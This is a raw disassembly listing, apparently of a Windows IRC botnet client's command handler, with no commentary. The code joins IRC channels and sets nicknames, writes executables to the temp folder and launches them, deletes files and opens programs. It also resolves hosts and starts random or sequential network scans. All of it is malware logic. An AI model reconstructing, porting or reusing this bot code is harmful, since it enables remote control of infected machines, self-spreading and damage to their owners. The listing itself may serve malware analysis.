loc_409BDA:				; CODE XREF: sub_4077FD+F2Dj
					; sub_4077FD+23BFj ...
		xor	esi, esi
		inc	esi


loc_409BDD:				; CODE XREF: sub_4077FD+2B64j
					; sub_4077FD+2BA1j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx


loc_409BEA:				; CODE XREF: sub_4077FD+1C3j
					; sub_4077FD+1DFj ...
		mov	eax, esi
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_409BF1:				; CODE XREF: sub_4077FD+15FEj
					; sub_4077FD+1613j
		push	44h
		lea	eax, [ebp+var_5EC]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_40CC40
		push	[ebp+arg_10]
		xor	edi, edi
		inc	edi
		mov	[ebp+var_5EC], esi
		mov	[ebp+var_5C0], edi
		mov	word ptr [ebp+var_5BC],	bx
		call	sub_40D9BF
		add	esp, 10h
		cmp	eax, edi
		jnz	short loc_409C30
		mov	word ptr [ebp+var_5BC],	5


loc_409C30:				; CODE XREF: sub_4077FD+2428j
		cmp	[ebp+var_C], ebx
		jz	loc_40A33D
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40E4B0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40A33D
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5EC]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		push	esi
		push	ebx
		call	dword_418078	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jnz	short loc_409C89
		push	offset unk_41EDF0


loc_409C7C:				; CODE XREF: sub_4077FD+2C5Bj
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		jmp	loc_40A33D
; ---------------------------------------------------------------------------


loc_409C89:				; CODE XREF: sub_4077FD+2478j
		push	esi
		push	offset dword_41EDD4


loc_409C8F:				; CODE XREF: sub_4077FD+3897j
		push	eax
		call	sub_40C6C3


loc_409C95:				; CODE XREF: sub_4077FD+32ADj
		add	esp, 0Ch
		jmp	loc_40A33D
; ---------------------------------------------------------------------------


loc_409C9D:				; CODE XREF: sub_4077FD+15D4j
					; sub_4077FD+15E9j
		push	[ebp+arg_18]
		push	offset aKtsFinal ; "KTS-Final"
		call	sub_40D860
		mov	esi, [ebp+arg_4]
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E1D
		lea	eax, [ebp+var_7B0]
		push	eax
		push	104h
		call	dword_4180C4	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_508]
		push	[ebp+arg_10]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40649F
		push	eax
		lea	eax, [ebp+var_7B0]
		push	eax
		lea	eax, [ebp+var_408]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_40C6C3
		mov	eax, [ebp+edi+var_98]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_304], 1
		mov	[ebp+var_300], ebx
		jz	short loc_409D34
		push	10h
		push	ebx
		push	eax
		call	sub_40E2CB
		add	esp, 0Ch
		mov	[ebp+var_2F8], eax
		jmp	short loc_409D3A
; ---------------------------------------------------------------------------


loc_409D34:				; CODE XREF: sub_4077FD+2521j
		mov	[ebp+var_2F8], ebx


loc_409D3A:				; CODE XREF: sub_4077FD+2535j
		mov	edi, [ebp+edi+var_94]
		cmp	edi, ebx
		jz	short loc_409D54
		push	edi
		call	sub_40D9BF
		pop	ecx
		mov	[ebp+var_2FC], eax
		jmp	short loc_409D5A
; ---------------------------------------------------------------------------


loc_409D54:				; CODE XREF: sub_4077FD+2546j
		mov	[ebp+var_2FC], ebx


loc_409D5A:				; CODE XREF: sub_4077FD+2555j
		movzx	eax, [ebp+var_8CB]
		push	7Fh
		mov	[ebp+var_2F4], eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_588]
		mov	[ebp+var_58C], esi
		push	eax
		call	sub_40C720
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41ED98
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_2E4]
		push	15h
		push	eax
		call	sub_40C062
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		push	offset sub_4032EE
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_409E13
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41ED58
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	short loc_409E30
; ---------------------------------------------------------------------------


loc_409E0B:				; CODE XREF: sub_4077FD+261Cj
		push	32h
		call	dword_418040	; Sleep


loc_409E13:				; CODE XREF: sub_4077FD+25EFj
		cmp	[ebp+var_2E8], ebx
		jz	short loc_409E0B
		jmp	short loc_409E30
; ---------------------------------------------------------------------------


loc_409E1D:				; CODE XREF: sub_4077FD+24B4j
		lea	eax, [ebp+var_2E4]
		push	offset unk_41ED10
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_409E30:				; CODE XREF: sub_4077FD+260Cj
					; sub_4077FD+261Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_40A35E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_40A356
; ---------------------------------------------------------------------------


loc_409E50:				; CODE XREF: sub_4077FD+15AAj
					; sub_4077FD+15BFj
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C50
		cmp	[ebp+var_C], ebx
		jz	loc_407C50
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40E4B0
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41ECFC
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40C720
		push	[ebp+arg_10]
		call	sub_40D9BF
		add	esp, 30h
		test	eax, eax
		jle	short loc_409EDB
		push	[ebp+arg_10]
		call	sub_40D9BF
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_418040	; Sleep


loc_409EDB:				; CODE XREF: sub_4077FD+26C6j
		mov	eax, [ebp+arg_24]
		inc	eax
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_409EE4:				; CODE XREF: sub_4077FD+1580j
					; sub_4077FD+1595j
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C50
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		mov	edi, [ebp+arg_18]
		push	edi
		push	[ebp+var_C]
		call	sub_40E4B0
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_40D860
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E4]
		jz	short loc_409FA2
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41ECFC
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_41ECE0
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		push	[ebp+arg_10]
		call	sub_40D9BF
		add	esp, 38h
		test	eax, eax
		jle	loc_40B19B
		push	[ebp+arg_10]
		call	sub_40D9BF
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_409FA2:				; CODE XREF: sub_4077FD+2730j
		push	offset unk_41ECA8
		jmp	loc_40A286
; ---------------------------------------------------------------------------


loc_409FAC:				; CODE XREF: sub_4077FD+1556j
					; sub_4077FD+156Bj
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B19B
		push	eax
		push	offset dword_41EC9C


loc_409FD0:				; CODE XREF: sub_4077FD+2DB1j
					; sub_4077FD+2DBEj ...
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_40AF41
; ---------------------------------------------------------------------------


loc_409FDD:				; CODE XREF: sub_4077FD+152Cj
					; sub_4077FD+1541j
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C50
		push	[ebp+arg_18]
		push	offset dword_41EC90
		push	[ebp+arg_4]
		call	sub_40450F
		push	[ebp+arg_10]
		call	sub_40D9BF
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_418040	; Sleep
		push	[ebp+edi+var_98]
		push	[ebp+arg_18]


loc_40A029:				; CODE XREF: sub_4077FD+2DCDj
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_40AA53
; ---------------------------------------------------------------------------


loc_40A03B:				; CODE XREF: sub_4077FD+1502j
					; sub_4077FD+1517j
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		push	[ebp+arg_10]
		call	sub_40CBC0
		push	esi
		mov	edi, eax
		call	sub_40CBC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_40E4B0
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_40B19B
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41EC84
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	[ebp+arg_10]


loc_40A08D:				; CODE XREF: sub_4077FD+1C1Bj
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40A09D:				; CODE XREF: sub_4077FD+14D8j
					; sub_4077FD+14EDj
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		push	[ebp+arg_10]
		call	sub_40CBC0
		push	esi
		mov	edi, eax
		call	sub_40CBC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_40E4B0
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_40B19B
		push	ebx
		push	ebx
		push	eax
		push	[ebp+arg_10]
		jmp	loc_40AD32
; ---------------------------------------------------------------------------


loc_40A0DC:				; CODE XREF: sub_4077FD+14AEj
					; sub_4077FD+14C3j
		cmp	[ebp+var_C], ebx
		jz	loc_407C50
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_407C50
		push	eax
		push	[ebp+arg_10]
		call	sub_40304D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EC64
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		jmp	loc_408FFB
; ---------------------------------------------------------------------------


loc_40A11F:				; CODE XREF: sub_4077FD+1472j
					; sub_4077FD+1487j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_40E4B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B19B
		mov	edi, [ebp+edi+var_9C]
		cmp	edi, ebx
		jz	short loc_40A1BA
		push	edi
		push	[ebp+var_C]
		call	sub_40E4B0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jz	short loc_40A1A8
		push	esi
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41ECFC
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset unk_41EC3C
		push	eax
		call	sub_40C6C3
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40A2F5
; ---------------------------------------------------------------------------


loc_40A1A8:				; CODE XREF: sub_4077FD+2957j
		push	offset unk_41EC08
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		jmp	loc_40A2F5
; ---------------------------------------------------------------------------


loc_40A1BA:				; CODE XREF: sub_4077FD+2940j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BABB
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset dword_41EBEC
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 24h
		jmp	loc_40A2F5
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_4077FD+1448j
					; sub_4077FD+145Dj
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_40DDC8
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jz	short loc_40A27E
		mov	esi, 200h
		push	edi
		push	esi
		push	eax
		call	sub_40E9CE
		add	esp, 0Ch
		jmp	short loc_40A25B
; ---------------------------------------------------------------------------


loc_40A230:				; CODE XREF: sub_4077FD+2A60j
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	edi
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		call	sub_40E9CE
		add	esp, 20h


loc_40A25B:				; CODE XREF: sub_4077FD+2A31j
		test	eax, eax
		jnz	short loc_40A230
		push	edi
		call	sub_40D9CA
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EBC4
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		jmp	short loc_40A2F5
; ---------------------------------------------------------------------------


loc_40A27E:				; CODE XREF: sub_4077FD+2A1Fj
		push	[ebp+arg_10]
		push	offset unk_41EBA0


loc_40A286:				; CODE XREF: sub_4077FD+27AAj
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	short loc_40A2D4
; ---------------------------------------------------------------------------


loc_40A291:				; CODE XREF: sub_4077FD+141Ej
					; sub_4077FD+1433j
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B19B
		push	eax
		call	sub_4053D3
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jnz	short loc_40A2C7
		push	offset unk_41EB80
		jmp	short loc_40A2CC
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_4077FD+2AC1j
		push	offset dword_41EB64


loc_40A2CC:				; CODE XREF: sub_4077FD+2AC8j
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_40A2D4:				; CODE XREF: sub_4077FD+2A92j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A2F5
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40A2F5:				; CODE XREF: sub_4077FD+29A6j
					; sub_4077FD+29B8j ...
		lea	eax, [ebp+var_2E4]
		push	eax


loc_40A2FC:				; CODE XREF: sub_4077FD+1104j
		call	sub_403145
		pop	ecx
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40A307:				; CODE XREF: sub_4077FD+13F4j
					; sub_4077FD+1409j
		push	[ebp+arg_10]
		call	dword_4180E8	; DeleteFileA
		test	eax, eax
		jz	short loc_40A31E
		push	[ebp+arg_10]
		push	offset dword_41EB48
		jmp	short loc_40A329
; ---------------------------------------------------------------------------


loc_40A31E:				; CODE XREF: sub_4077FD+2B15j
		push	offset dword_41EE18
		call	sub_40530E
		push	eax


loc_40A329:				; CODE XREF: sub_4077FD+2B1Fj
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_40D3F7


loc_40A33A:				; CODE XREF: sub_4077FD+2C4Bj
		add	esp, 10h


loc_40A33D:				; CODE XREF: sub_4077FD+2436j
					; sub_4077FD+244Dj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A35E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40A356:				; CODE XREF: sub_4077FD+264Ej
		call	sub_404555
		add	esp, 14h


loc_40A35E:				; CODE XREF: sub_4077FD+2636j
					; sub_4077FD+2B43j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_409BDD
; ---------------------------------------------------------------------------


loc_40A366:				; CODE XREF: sub_4077FD+13CAj
					; sub_4077FD+13DFj
		push	[ebp+arg_10]
		call	sub_40D9BF
		push	eax
		call	sub_40601E
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2E4]
		jnz	short loc_40A38D
		push	offset unk_41EB24
		jmp	short loc_40A392
; ---------------------------------------------------------------------------


loc_40A38D:				; CODE XREF: sub_4077FD+2B87j
		push	offset unk_41EAF0


loc_40A392:				; CODE XREF: sub_4077FD+2B8Ej
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_409BDD
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_409BDD
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_4077FD+13A0j
					; sub_4077FD+13B5j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_405D93
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_40A3EB
		push	offset unk_41EACC
		jmp	loc_40B08E
; ---------------------------------------------------------------------------


loc_40A3EB:				; CODE XREF: sub_4077FD+2BE2j
		push	offset unk_41EA9C
		jmp	loc_40B08E
; ---------------------------------------------------------------------------


loc_40A3F5:				; CODE XREF: sub_4077FD+1376j
					; sub_4077FD+138Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_42D8B4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40A41D
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_42D834	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40A44D
		push	dword ptr [eax]
		jmp	short loc_40A436
; ---------------------------------------------------------------------------


loc_40A41D:				; CODE XREF: sub_4077FD+2C08j
		push	esi
		call	dword_42D8F8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40A44D
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_42D900	; inet_ntoa
		push	eax


loc_40A436:				; CODE XREF: sub_4077FD+2C1Ej
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_41EA7C
		push	eax
		call	sub_40C6C3
		jmp	loc_40A33A
; ---------------------------------------------------------------------------


loc_40A44D:				; CODE XREF: sub_4077FD+2C1Aj
					; sub_4077FD+2C29j
		push	offset dword_41EA54
		lea	eax, [ebp+var_2E4]
		jmp	loc_409C7C
; ---------------------------------------------------------------------------


loc_40A45D:				; CODE XREF: sub_4077FD+134Cj
					; sub_4077FD+1361j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_40C720
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EA2C
		push	eax
		call	sub_40C6C3
		add	esp, 18h
		jmp	loc_409BB9
; ---------------------------------------------------------------------------


loc_40A486:				; CODE XREF: sub_4077FD+1322j
					; sub_4077FD+1337j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42D7F8
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_40A4AA
		push	offset dword_41EA0C
		jmp	loc_40B08E
; ---------------------------------------------------------------------------


loc_40A4AA:				; CODE XREF: sub_4077FD+2CA1j
		push	offset unk_41E9E4
		jmp	loc_40B08E
; ---------------------------------------------------------------------------


loc_40A4B4:				; CODE XREF: sub_4077FD+12F8j
					; sub_4077FD+130Dj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_41DE50, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_41E9BC
		jmp	loc_40B129
; ---------------------------------------------------------------------------


loc_40A4CD:				; CODE XREF: sub_4077FD+12CEj
					; sub_4077FD+12E3j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A50C
		call	sub_40C225
		cmp	eax, ebx
		jle	short loc_40A4F4
		push	eax
		push	offset dword_41E990
		jmp	loc_408FEC
; ---------------------------------------------------------------------------


loc_40A4F4:				; CODE XREF: sub_4077FD+2CEAj
		push	offset dword_41E964


loc_40A4F9:				; CODE XREF: sub_4077FD+1CE6j
					; sub_4077FD+1D46j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		jmp	loc_408FFB
; ---------------------------------------------------------------------------


loc_40A50C:				; CODE XREF: sub_4077FD+2CE1j
		mov	eax, [ebp+var_24]
		lea	edi, [eax+1]
		jmp	short loc_40A580
; ---------------------------------------------------------------------------


loc_40A514:				; CODE XREF: sub_4077FD+2D86j
		mov	esi, [ebp+edi*4+var_A4]
		cmp	esi, ebx
		jz	loc_407C50
		push	esi
		call	sub_40D9BF
		push	eax
		call	sub_40C19D
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E4]
		jz	short loc_40A543
		push	offset dword_41E940
		jmp	short loc_40A548
; ---------------------------------------------------------------------------


loc_40A543:				; CODE XREF: sub_4077FD+2D3Dj
		push	offset dword_41E914


loc_40A548:				; CODE XREF: sub_4077FD+2D44j
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A572
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40A572:				; CODE XREF: sub_4077FD+2D57j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx
		inc	edi


loc_40A580:				; CODE XREF: sub_4077FD+2D15j
		cmp	edi, 20h
		jb	short loc_40A514
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40A58A:				; CODE XREF: sub_4077FD+12A4j
					; sub_4077FD+12B9j
		cmp	[ebp+var_C], ebx
		jz	loc_40B19B
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B19B
		push	eax
		push	offset dword_41BC38
		jmp	loc_409FD0
; ---------------------------------------------------------------------------


loc_40A5B3:				; CODE XREF: sub_4077FD+127Aj
					; sub_4077FD+128Fj
		push	[ebp+arg_10]
		push	offset dword_41EC90
		jmp	loc_409FD0
; ---------------------------------------------------------------------------


loc_40A5C0:				; CODE XREF: sub_4077FD+1250j
					; sub_4077FD+1265j
		push	[ebp+edi+var_9C]
		push	[ebp+arg_10]
		jmp	loc_40A029
; ---------------------------------------------------------------------------


loc_40A5CF:				; CODE XREF: sub_4077FD+1226j
					; sub_4077FD+123Bj
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		jmp	loc_409FD0
; ---------------------------------------------------------------------------


loc_40A5DC:				; CODE XREF: sub_4077FD+11EAj
					; sub_4077FD+11FFj
		mov	al, byte_41DE6A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_41DE6A
		jz	loc_407C50
		mov	ecx, edx


loc_40A5F3:				; CODE XREF: sub_4077FD+2DFEj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40A5F3
		cmp	al, bl
		jz	loc_407C50
		mov	[ebp+arg_18], edx


loc_40A608:				; CODE XREF: sub_4077FD+30B7j
		push	7
		pop	esi
		push	esi
		call	sub_40C2A4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 258h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_40A65D
		push	ecx
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F10C
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_40A8AB
; ---------------------------------------------------------------------------


loc_40A65D:				; CODE XREF: sub_4077FD+2E2Bj
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_41A068, ebx
		mov	[ebp+var_304], 14h
		mov	[ebp+var_318], esi
		mov	[ebp+var_314], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_40A6C6
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_41A068
		lea	edi, [eax-0Ah]


loc_40A690:				; CODE XREF: sub_4077FD+2EABj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A6AC
		inc	[ebp+arg_0]
		add	esi, 3Ch
		cmp	[esi], ebx
		jnz	short loc_40A690
		jmp	short loc_40A6C6
; ---------------------------------------------------------------------------


loc_40A6AC:				; CODE XREF: sub_4077FD+2EA1j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_41A068[ecx]
		mov	[ebp+var_31C], ecx


loc_40A6C6:				; CODE XREF: sub_4077FD+2E86j
					; sub_4077FD+2EADj
		cmp	[ebp+var_31C], ebx
		jz	loc_40A8D1
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_42D820	; getsockname
		mov	al, [ebp+var_8CF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40C720
		xor	eax, eax
		cmp	[ebp+var_8CF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40EA30
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40A768


loc_40A746:				; CODE XREF: sub_4077FD+2F69j
		cmp	eax, ebx
		jz	short loc_40A768
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_40EA30
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_40A746


loc_40A768:				; CODE XREF: sub_4077FD+2F47j
					; sub_4077FD+2F4Bj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_420]
		push	80h
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		mov	[ebp+var_2F4], edi
		call	sub_40D3F7
		push	offset byte_4242F0
		push	offset aPrv_1	; "#prv##"
		call	sub_40D860
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A7D5
		push	offset aPrv_1	; "#prv##"
		lea	eax, [ebp+var_3A0]
		push	80h
		push	eax
		call	sub_40D3F7
		add	esp, 0Ch
		jmp	short loc_40A7DB
; ---------------------------------------------------------------------------


loc_40A7D5:				; CODE XREF: sub_4077FD+2FBBj
		mov	[ebp+var_3A0], bl


loc_40A7DB:				; CODE XREF: sub_4077FD+2FD6j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40A7ED
		mov	eax, offset aSequential	; "Sequential"


loc_40A7ED:				; CODE XREF: sub_4077FD+2FE9j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F020
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
